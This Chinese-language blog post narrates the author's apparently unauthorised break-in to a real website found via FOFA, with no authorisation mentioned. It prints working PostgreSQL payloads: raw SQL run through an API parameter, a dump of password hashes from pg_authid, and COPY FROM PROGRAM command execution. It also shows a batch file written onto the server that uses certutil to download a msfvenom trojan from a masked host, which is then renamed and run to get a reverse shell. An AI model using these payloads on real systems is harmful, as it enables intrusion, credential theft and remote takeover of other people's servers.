记一次pgsql数据库漏洞利用

/ 0评 / 2

0x01 前言

mysql遇得比较多,postgresql还是第一次遇到,过程算是一波三折,但好歹算是积累到了一些经验,主要记录下利用的payload以及bat无回显执行命令最后成功反弹shell到vps

0x02 注入点

从fofa上扫到的站,账号密码直接写在了登录框里,点击登录进入后台

找功能点,抓包,好家伙,直接把sql语句写在api的post参数里面了,心是真的大

看了下网站架构,vue+java,猜测数据库很有可能是mysql,那就试试能不能直接运行sql语句

select * from information_schema.SCHEMATA

成功执行,而且仔细看获取到的数据库字段,可以明显看到postgres字样,猜测是postgresql数据库,果然,用mysql的concat函数,api报错了。

知道是pgsql数据库就好办了,因为没记错的话pgsql ≥ 9.3版本是存在一大堆Critical漏洞的,但我们不急,先一步一步来。

select setting from pg_settings where name = 'data_directory';

select user

SELECT rolname,rolpassword FROM pg_authid;

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;

0x03 一波三折

现在可以直接执行命令了,不就可以直接写shell,连shell一条龙了吗?然而事实上并非如此简单,因为不知道是不是dos编码的原因,执行的命令如果回显含有中文会导致pgsql报错进而导致无法把执行结果保存进数据库。比如我这里执行certutil,报错结果如下:

执行dir c:\也会报错

比较奇怪的是,执行systeminfo命令却又可以成功执行并且执行结果中的中文也能正常显示。从系统信息中看到该服务器是中文系统,可是有的命令执行结果是英文,有的执行后又是中文,属实是整不会了。

因为知道dos默认编码是gbk,于是我先用chcp 65001命令将dos编码改为utf-8编码,然后执行回显有中文的其他命令。结果失败了。

后来我在自己电脑上测试的时候突然醒悟,chcp命令只能改变当前终端进程的编码,关掉再新开一个cmd窗口编码仍然是默认的936 gbk编码,同理,虽然我通过chcp命令改变了编码,但是再重新执行其他命令的时候pgsql也会新建一个子进程,而这个子进程仍然是gbk编码。所以正确的打开方式应该是在需要执行的命令前加一句chcp 65001,比如chcp 65001 & certutil,一想到这里自觉真是聪明,然而现实分分钟打脸:

既然直接certutil不行,那就先dir老老实实找网站目录吧。

这里我猜测网站也部署在D盘,并尝试用 ..\来向上读取目录,进而定位到该网站的绝对路径,但是到第三层父目录的时候报错了

这就很尴尬了,因为dir到第二层的时候还在pgsql的安装目录下,第三层还没有到D盘根目录呢继续向上读取,仍然是同样的报错。这里猜测是遇到权限问题了。

直接dir父目录不行,那就再换。想到dir命令还可以用来查找文件,而且网站也有不少静态图片文件,除非当前站点在内网的其他服务器上,否则用dir也能根据图片文件名找到其绝对路径的,直接试试。

成功了但没完全成功,因为Windows系统下虽然用斜杠和反斜杠表示路径都可以,但是默认是反斜杠,结果数据入库的时候反斜杠可能是被当作转义字符过滤掉了,导致最终路径符号没有显示出来。

于是又开始用dir猜测路径是否存在(这里我笃定就是d:\applications\a-web\,尝试了几次然而一直报错,最后改成d:\application\sa-web\才成功,不得不吐槽运维的脑回路),最后把web目录基本爬完了。

看到jar的时候才恍悟,这是个Nginx+Jar包部署的项目啊,前后端分离的,写shell意义何在呢。顿时觉得,格局小了,思维僵化了。

0x04 柳暗花明

整理下思路,某些含中文回显的命令不能用,dir找到了web目录,但是前后端分离。休息放松一下,突然有了另外的思路,可以传bat上去啊,只需要隐藏掉所有命令的回显就不会有数据入库时的编码问题了,而且先前用tasklist看到服务器上没有杀软,就更简单不少。

说干就干,先在vps上用msfvenom生成一个exe马,下载到本地改后缀名为txt,上传到另外一台web服务器上,确保可以被目标访问到。

然后着手准备bat脚本,查了下资料,可以用@echo off隐藏执行的命令,再用 >null将输出重定向到null就可以实现完全无回显了,如下图

在本机上测试了一下,成功,无回显执行。

于是立即用echo命令将payload写到目标上

COPY cmd FROM PROGRAM 'echo @echo off\ncertutil.exe -urlcache -split -f http://xx.xxx.xxxx/xxx.txt output.txt ^>null >test.bat'

看样子是执行成功了,用dir命令看看,成功写入了

再type看了下文件内容,确认没问题后输入命令.\test.bat,然后执行,看到文件大小符合

然后使用ren命令把txt后缀改为exe后缀

最后执行这个exe马

看一眼时间,天色渐晚了,吃个夜宵睡觉,明天再来想提权的事儿吧。

0x05 后话

看到系统是2012 R2的时候立即就想到用powershell了,然后系统似乎没安装powershell组件,因为执行powershell马后一直显示超时就果断放弃这条路了。

感觉学安全还是要潜下心才能真正学到东西。现在越来越厌恶以前只会当脚本小子的自己。

发表回复

您的电子邮箱地址不会被公开。